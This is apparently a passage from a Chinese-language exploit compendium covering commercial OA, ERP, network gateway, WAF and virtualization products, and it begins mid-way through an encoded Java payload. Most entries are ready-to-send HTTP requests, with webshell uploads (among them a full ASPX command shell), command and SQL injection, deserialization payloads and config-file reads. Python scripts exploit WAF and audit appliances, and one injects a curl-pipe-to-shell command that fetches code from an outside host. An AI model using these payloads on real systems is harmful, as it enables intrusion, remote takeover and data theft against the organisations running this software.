Nk9yWXpBVlZXM0dxeG85UnJRVjB4SFdNT3ZtY2h3aG5KYTlFemNUM2ZBK0NCVnB1ekljZUFXSE5qOHFlM
Vm5nQU5xVGNDbFQ3ZVJZZVJUbVB4YjQxMW9SaXJhZkNOSnNkZWpTcWtyM1BSd0FnZ1hnbHRVaXZoclRzW
FlyZDZwZkF1d3FpVGJrMHBEZ0h3dHh4T2hSMkhkR2Vyc0lmOVJaVUlBVlB3Q1hRWGhkY0VBcTZucG9oTG
pCOXNlaXd4VjVmaEVtcjY4QVlsMlF3cklUMWlGaUFUeHRkOFd1cUdKTmxEWjJQalRmbFRRcW1JZ0dIaUJh
```

```
DUEJ3Q1BCd0NPQndDUkJ3Q1JBUUFBL3dEcUFCMEhBSWtIQUlvSEFJc0hBSTBIQUkwSEFJMEhBSTBIQUk0
SEFJNEhBQklCQVFjQWlnY0Fqd2NBamdjQWp3Y0Fqd2NBandjQWpnY0FrUWNBa1FFSEFJOEhBSWtIQUk0S
EFJOEhBSThIQUk4SEFJa0FBRklIQUpML0FHUUFGZ2NBaVFjQWlnY0Fpd2NBalFjQWpRY0FqUWNBalFjQW
pnY0FqZ2NBRWdFQkJ3Q0tCd0NQQndDT0J3Q1BCd0NQQndDUEJ3Q09Cd0NSQndDUkFRQUErZ0FGL3dBSEF
Bd0hBSWtIQUlvSEFJc0hBSTBIQUkwSEFJMEhBSTBIQUk0SEFJNEhBQklCQVFBQStnQUYvd0FGQUFFSEFJ
a0FBUWNBa3djQUFRQ1VBQUFBQWdDViIpLG5ldyBqYXZheC5tYW5hZ2VtZW50LmxvYWRpbmcuTUxldChuZ
XcgamF2YS5uZXQuVVJMWzBdLFQgKGphdmEubGFuZy5UaHJlYWQpLmN1cnJlbnRUaHJlYWQoKS5nZXRDb2
50ZXh0Q2xhc3NMb2FkZXIoKSkpLmRvSW5qZWN0KCk=';var
b64=java.util.Base64.getDecoder();var deStr=new
java.lang.String(b64.decode(b),'UTF-8');var
c=a.parseExpression(deStr);c.getValue();"}]}
```

青果

青果教务系统存在未授权访问漏洞

- 漏洞类型：未知 - 未授权访问
- 涉及版本：未知
- 利用路径：未知
- 漏洞详情：

```
未知
```

全程云

全程云OA接口UploadFile存在任意文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/OA/api/2.0/Common/AttachFile/UploadFile
- 漏洞详情：

```
POST /OA/api/2.0/Common/AttachFile/UploadFile HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Ldwk: bG91ZG9uZ3dlbmt1
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryNe8DcVuv1vEUWDaR
Content-Length: 191
------WebKitFormBoundaryNe8DcVuv1vEUWDaR
Content-Disposition: form-data; name="upload";filename="123.Asp"
<% response.write("hello,world") %>
```

```
------WebKitFormBoundaryNe8DcVuv1vEUWDaR--
```

全息

全息AI网络运维平台存在命令执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/nmss/cloud/Ajax/ajax_cloud_router_config.php
- 漏洞详情：

```
POST /nmss/cloud/Ajax/ajax_cloud_router_config.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/105.0.1249.139 Safari/537.36
Accept-Encoding: gzip, deflate
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

ping_cmd=8.8.8.8|echo test > 1.txt
```

群杰

群杰印章物联网管理平台rest密码重置

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/api/token/updateRestUser?restname=rest&password=
- 漏洞详情：

```
/api/token/updateRestUser?restname=rest&password={{password}}
```

群杰印章物联网管理平台RCE 0day

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：未知
- 漏洞详情：

```
未知
```

热网

热网无线监测系统frmSaveChartImage存在 任意文件读取漏洞

- 漏洞类型：1day - 任意文件读取
- 涉及版本：未知
- 利用路径：未知
- 漏洞详情：

```
未知
```

任我行

任我行协同CRM反序列化漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/SystemManage/UploadFile
- 漏洞详情：

```
POST /SystemManage/UploadFile HTTP/1.1
Host:
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
cmd: whoami

photoInfo={{base64dec(ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIHBpbmcgYWU1d3BiLmRuc2xvZy5jbiddDQogICAgfSwNCiAgICAnT2JqZWN0SW5zdGFuY2UnOnsnJHR5cGUnOidTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSd9DQp9)}}
```

锐捷

锐捷 RG-NBS2026G-P 交换机WEB 管理ping.htm未授权访问漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/safety/ping.htm
- 漏洞详情：

```
/safety/ping.htm
```

锐捷RG-NAC统一上网行为管理与审计系统存在远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/view/vpn/autovpn/online_check.php
- 漏洞详情：

```
/view/vpn/autovpn/online_check.php?peernode= | `echo PD9waHAgcGhwaW5mbygpOw== |
base64 -d > 1.php`
```

锐捷EG350易网关管理系统存在信息泄露漏洞

- 漏洞类型：nday - 信息泄露
- 涉及版本：EG350
- 利用路径：/tool/shell/nginx.conf
- 漏洞详情：

```
/tool/shell/nginx.conf
```

锐捷M18000-WS-ED无线控制器存在CRL命令注入

- 漏洞类型：nday - RCE
- 涉及版本：M18000
- 利用路径：/web_config.do
- 漏洞详情：

```
POST /web_config.do HTTP/1.1

command=show+running-config&mode_url=exec
```

锐捷RG-NBS2026G-P交换机存在未授权访问漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：RG-NBS2026G-P
- 利用路径：/system/passwdManage.htm
- 漏洞详情：

```
/system/passwdManage.htm
```

锐捷-EG易网关存在RCE漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/cli.php
- 漏洞详情：

```
获取用户密码
POST /login.php HTTP/1.1
Host: 10.10.10.10
User-Agent: Go-http-client/1.1
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

username=admin&password=admin?show+webmaster+user

命令执行
POST /cli.php?a=shell HTTP/1.1
Host: 10.10.10.10
User-Agent: Go-http-client/1.1
Content-Length: 24
Content-Type: application/x-www-form-urlencoded
Cookie: 利用登录后Cookie的RUIJIEID字段进行替换，;user=admin;
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

notdelay=true&command=ls
```

锐捷-乐享智能运维管理平台getToken存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/auth-ui/v1/api/user/token/getToken
- 漏洞详情：

```
POST /auth-ui/v1/api/user/token/getToken HTTP/1.1

account=admin');SELECT PG_SLEEP(5)--&password=6e0f9e14344c5406a0cf5a3b4dfb665f87f4a771a31f7edbb5c72874a32b2957

```

瑞格

瑞格心里教育信息化管理系统SQL注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/NPreenManage/NPreenSMSList.asmx
- 漏洞详情：

```
未知
```

瑞斯康达

瑞斯康达-多业务智能网关-RCE

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/vpn/list_base_config.php
- 漏洞详情：

```
GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo+-e+%27%3C%3Fphp+phpinfo%28%29%3Bunlink%28__FILE__%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Ftest.php%60 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
```

瑞斯康达多业务智能网关 list_service_manage.php 存在远程命令执行漏洞

- 漏洞类型：0day - RCE
- 涉及版本：MSG2100E系列融合型多业务智能网关
- 利用路径：/vpn/list_service_manage.php
- 漏洞详情：

```
POST /vpn/list_service_manage.php?template=%60echo+-e+%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Finfo29.php%60 HTTP/1.1
Host: 
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Nradius_submit=true
```

瑞友

瑞友天翼应用虚拟化系统SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/ConsoleExternalUploadApi.XGI
- 漏洞详情：

```
POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 
Content-Length: 102
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: 
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: 
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=guckrv899d484kirp0p1h30b61; CookieLanguageName=ZH-CN; CookieAuthType=0
Connection: close

key=ServerIPType'+union+select+'test'+into+outfile+'..\\\\..\\\\WebRoot\\\\ddd.xgi&initParams=x&sign=x
```

瑞友天翼应用虚拟化系统 index.php 反序列化注入 Getshell

- 漏洞类型：nday - RCE
- 涉及版本：5.x <= 瑞友天翼应用虚拟化系统 <= 7.0.2.1
- 利用路径：/ConsoleExternalUploadApi.XGI
  /index.php
- 漏洞详情：

```
POST /ConsoleExternalUploadApi.XGI?
key=ServerIPType&initParams=command_uploadAuthorizeKeyFile__user_admin%27+or+%271
%27=%271__pwd_2__serverIdStr_1&sign=8091edfafcf0936b64c7d7f2d7bb071f HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/111.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q
=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=6mollsipigi7imfnj6ovud6t94; CookieLanguageName=ZH-CN
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVSwwKKlD
Content-Length: 374

------WebKitFormBoundaryVSwwKKlD
Content-Disposition: form-data; name="keyFile"; filename="sess_cf1.key"
Content-Type: image/png

0|1|2|a:1:{s:7:"user_id";s:169:"1') Union Select '<?php phpinfo()?
>',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
,31,32 into outfile '..\\\\..\\\\WebRoot\\\\1.xgi' -- ";}
------WebKitFormBoundaryVSwwKKlD--




POST /index.php HTTP/1.1
Host:
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/index.php?s=/Admin/userlist
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: think_language=en; PHPSESSID=p7crcrjhh6balvuscd8kqbu991; UserAuthtype=0;
CookieLanguageName=ZH-CN
sec-gpc: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

s=/Index/index&sessId=cf1.key
```

瑞友天翼应用虚拟化系统 GetBSAppUrl 存在SQL漏洞

- 漏洞类型：nday - RCE
- 涉及版本：.x <= 瑞友天翼应用虚拟化系统 <= 7.0.2.1
- 利用路径：/index.php
- 漏洞详情：

```
GET /index.php?s=/Agent/GetBSAppUrl/AppID/1'+and+(extractvalue(1,concat(0x7e,(select+md5(1)),0x7e)))+and+'a'='a HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=6mollsipigi7imfnj6ovud6t94; CookieLanguageName=ZH-CN
Upgrade-Insecure-Requests: 1
```

瑞友天翼应用虚拟化系统 AgentBoard.XGI 远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/AgentBoard.XGI
- 漏洞详情：

```
http://127.0.0.1/AgentBoard.XGI?user=-1%27%20union%20select%201,%27%3C?php%20phpinfo();?%3E%27%20into%20outfile%20%22..\\\\..\\\\WebRoot\\\\test.XGI%22%20--%20-&cmd=UserLogin
```

润乾

润乾报表前台任意文件上传漏洞（3个）

- 漏洞类型：nday - RCE
- 涉及版本：<= 20221210
- 利用路径：/demo/servlet/dataSphereServlet /InputServlet
- 漏洞详情：

```
POST /InputServlet?action=12 HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=--------------------------17000568003972141213756
```

```
Accept-Encoding: gzip, deflate, br
Content-Length: 2401

----------------------------170005680039721412137562
Content-Disposition: form-data; name="upsize"

1024
----------------------------170005680039721412137562
Content-Disposition: form-data; name="file"; filename="/\..\\..\2.jsp"
Content-Type: image/png

11111
----------------------------170005680039721412137562--



POST /InputServlet?action=13 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: application/x-www-form-urlencoded
Connection: close

file=%2F%5C..%5C%5C..%5C%5CWEB-INF%5C%5CraqsoftConfig.xml&upFileName=web.config



POST /demo/servlet/dataSphereServlet?action=38 HTTP/1.1
Host:
Content-Length: 408
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAT7qVwFychEm0Dt7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1:6868/demo/raqsoft/guide/jsp/olap.jsp
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=D46F0E193FBD9BC2FCFB32D684296765
Connection: close

------WebKitFormBoundaryAT7qVwFychEm0Dt7
Content-Disposition: form-data; name="openGrpxFile"; filename="1.jsp"
Content-Type: text/plain

<% out.println("123"); %>
------WebKitFormBoundaryAT7qVwFychEm0Dt7
Content-Disposition: form-data; name="path"

../../../
------WebKitFormBoundaryAT7qVwFychEm0Dt7
Content-Disposition: form-data; name="saveServer"
```

```
1
------WebKitFormBoundaryAT7qVwFychEm0Dt7--
```

润申

润申信息科技ERP系统CommentStandardHandler.ashx接口存在sql注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/PDCA/ashx/CommentStandardHandler.ashx
- 漏洞详情：

```
POST /PDCA/ashx/CommentStandardHandler.ashx HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

action=detailInfo&fileid=1+and+%01(select+SUBSTRING(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','123')),3,32))<0--
```

润申信息科技ERP系统DefaultHandler.ashx接口存在sql注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/ashx/DefaultHandler.ashx
- 漏洞详情：

```
POST /ashx/DefaultHandler.ashx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Connection: close
Content-Length: 115
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=GetDetail&status=300&id=1+and+%01(select+SUBSTRING(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','123')),3,32))<0--
```

赛蓝

赛蓝企业管理系统ReadTxtLog存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/BaseModule/SysLog/ReadTxtLog?FileName=../web.config
- 漏洞详情：

```
GET /BaseModule/SysLog/ReadTxtLog?FileName=../web.config HTTP/1.1
Host:
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie:
__RequestVerificationToken=EXiOGTuudShJEzYLR8AQgWCZbF2NB6_KXKrmqJJyp1cgyV6_LYy9yK
QhNkHJGXXlbO_6NLQZPwUUdVZKH6e9KMuXyxV6Tg-w5Ftx-mKih3U1;
ASP.NET_SessionId=2ofwed0gd2jc4paj0an0hpcl
Priority: u=0, i
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0)
Gecko/20100101 Firefox/128.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/png,image/svg+xml,*/*;q=0.8
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
```

赛蓝企业管理系统GetJSFile存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/Utility/GetJSFile?filePath=../web.config
- 漏洞详情：

```
GET /Utility/GetJSFile?filePath=../web.config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
```

赛蓝企业管理系统DownloadBuilder任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/BaseModule/ReportManage/DownloadBuilder
- 漏洞详情：

```
GET /BaseModule/ReportManage/DownloadBuilder?filename=/../web.config HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
```

赛蓝企业管理系统 GetCssFile存在任意文件读取漏洞

- 漏洞类型：1day - 任意文件读取
- 涉及版本：未知
- 利用路径：/Utility/GetCssFile
- 漏洞详情：

```
GET /Utility/GetCssFile?filePath=../web.config HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
```

赛蓝企业管理系统-SubmitUploadify-任意文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/EHRModule/EHR_Holidays/SubmitUploadify
- 漏洞详情：

```
POST /EHRModule/EHR_Holidays/SubmitUploadify?FolderId=1&UserId=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ

------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: image/png

<%@ Page Language="C#"%><%
Response.Write(111*111);System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>
------WebKitFormBoundaryD5Mawpg068t7pbxZ--

```

赛蓝企业管理系统SubmitUploadify存在任意文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/EHRModule/EHR_Holidays/SubmitUploadify
- 漏洞详情：

```
POST /EHRModule/EHR_Holidays/SubmitUploadify?FolderId=1&UserId=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/94.0.2558.72 Safari/537.36
Accept-Ldwk: bG91ZG9uZ3dlbmt1
Content-Type: multipart/form-data;boundary =--------------------------
-142851345723692939351758052805
Connection: close

-----------------------------142851345723692939351758052805
Content-Disposition: form-data; name="Filedata"; filename="11.aspx"
Content-Type: image/png

<%@ Page Language="Jscript" validateRequest="false" %>
<%
var c=new System.Diagnostics.ProcessStartInfo("cmd");
var e=new System.Diagnostics.Process();
var out:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;
e.StartInfo=c;
c.Arguments="/c " + Request.Item["cmd"];
e.Start();
out=e.StandardOutput;
EI=e.StandardError;
e.Close();
Response.Write(out.ReadToEnd() + EI.ReadToEnd());
System.IO.File.Delete(Request.PhysicalPath);
Response.End();%>
-----------------------------142851345723692939351758052805--
```

赛蓝企业管理系统GetImportDetailJson存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/BaseModule/ExcelImport/GetImportDetailJson
- 漏洞详情：

```
GET /BaseModule/ExcelImport/GetImportDetailJson?
ImportId=1%27%3bWAITFOR+DELAY+%270%3a0%3a5%27--&IsShow=1 HTTP/1.1
Host: {{Hostname}}
```

三汇

三汇网关管理软件debug.php远程命令执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/debug.php
- 漏洞详情：

```
POST /debug.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryAEiWTHP0DxJ7Uwmb

------WebKitFormBoundaryAEiWTHP0DxJ7Uwmb
Content-Disposition: form-data; name="comdtype"

1
------WebKitFormBoundaryAEiWTHP0DxJ7Uwmb
Content-Disposition: form-data; name="cmd"

sleep 3
------WebKitFormBoundaryAEiWTHP0DxJ7Uwmb
Content-Disposition: form-data; name="run"

------WebKitFormBoundaryAEiWTHP0DxJ7Uwmb--
```

三一谦成

杭州三一谦成科技 车辆监控服务平台SQL 注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/gps-web/platformSql
- 漏洞详情：

```
POST /gps-web/platformSql HTTP/1.1
Host:
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate
Accept: */* Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
action=EXEC_SQL&params=SELECT schema_name FROM
information_schema.schemata
```

山石

山石网科 WAF 远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：前年老洞
- 漏洞详情：

```
import requests,sys
requests.packages.urllib3.disable_warnings()
session = requests.Session()

target = "https://192.168.247.196/".strip("/")
cmd="curl\x24{IFS}192.168.247.1:9999/cccc|sh"
url = target+"/rest/captcha"
headers = {"Accept":"*/*","User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)","Accept-Language":"en;q=0.9"}
sss=requests.get(url,headers=headers,verify=False)

if "PNG" not  in sss.content:
    print("target not vuln")
    sys.exit()




cookies = {"PHPSESSID":"aaaaaaaaaa%3b"+cmd+"%3bd"}
try:
    response = session.get(target+"/rest/captcha", headers=headers, cookies=cookies,verify=False,timeout=5)
except requests.exceptions.ReadTimeout:
    print("payload work")
    sys.exit()

print("payload send!")
```

山石网科

山石网科云鉴存在前台任意命令执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/master/ajaxActions/setSystemTimeAction.php
- 漏洞详情：

```
import requests
'''
HSVD-2023-0008
'''
```

```
def setSystemTimeAction(newcsrf,headers):
    url =  "https://192.168.199.221/master/ajaxActions/setSystemTimeAction.php?token_csrf="+newcsrf
    proxies = {'https':'http://127.0.0.1:8080'}
    x = "param=os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')"
    #req2 = requests.post(url2, data=x, proxies=proxies, verify=False, headers=headers)
    req2 = requests.post(url, data=x,headers=headers, verify=False)

'''
HSVD-2023-0005
'''
def getMessageSettingAction(newcsrf,header):
    proxies = {'https':'http://127.0.0.1:8080'}
    company_uuid = "aaa"
    platform_sel = "os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')"
    url = 'https://192.168.199.221/master/ajaxActions/getMessageSettingAction.php?token_csrf='+newcsrf+"&company_uuid="+company_uuid+"&platform_sel="+platform_sel
    req = requests.get(url, headers=header, verify=False)
    print(req.text)


def main():
    headers = {"Cookie": "PHPSESSID=emhpeXVhbg;",
           "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"
           }
    url = "https://192.168.199.221/master/ajaxActions/getTokenAction.php"
    req = requests.post(url, verify=False, headers=headers)
    newcsrf = req.text.replace("\n", "")
    setSystemTimeAction(newcsrf,headers)
    reshell = requests.get('https://192.168.199.221/master/img/config',verify=False)
    print('---------------------cmd-------------------------')
    print(reshell.text)

if __name__ == '__main__':
    main()
```

山石网科堡垒机存在远程代码执行漏洞0day（实际为去年老洞）

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/rest/v1/trusted_hosts
- 漏洞详情：

```
山石运维安全网关是集运维管理与运维审计为一体的堡垒机设备，实现对核心资产的统一认证、统一授权、统一审计，全方位提升运维风险控制能力。由于该软件的 Web 应用对用户的输入未进行有效过滤，直接拼接系统命令执行，造成了远程代码执行漏洞。攻击者可通过构造恶意请求，拼接命令执行任意代码，控制服务器。
```

深澜

深澜计费管理系统strategy存在反序列化漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/strategy/ip/bind-ip
- 漏洞详情：

```
POST /strategy/ip/bind-ip HTTP/2
Host: 
Cookie: lang=zh-CN; PHPSESSID_8080=f434cd5f5e9befe38ab3d688b49eacb5; _csrf-8080=515a2ce1d579e3eb33de0fb00d2eddb40cbfb5db938eb248ddaa2069ed9ba803a%3A2%3A%7Bi%3A0%3Bs%3A10%3A%22_csrf-8080%22%3Bi%3A1%3Bs%3A32%3A%22zKeB2l7C4-gTmKM4dulmKqnWGCnlHFDP%22%3B%7D
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
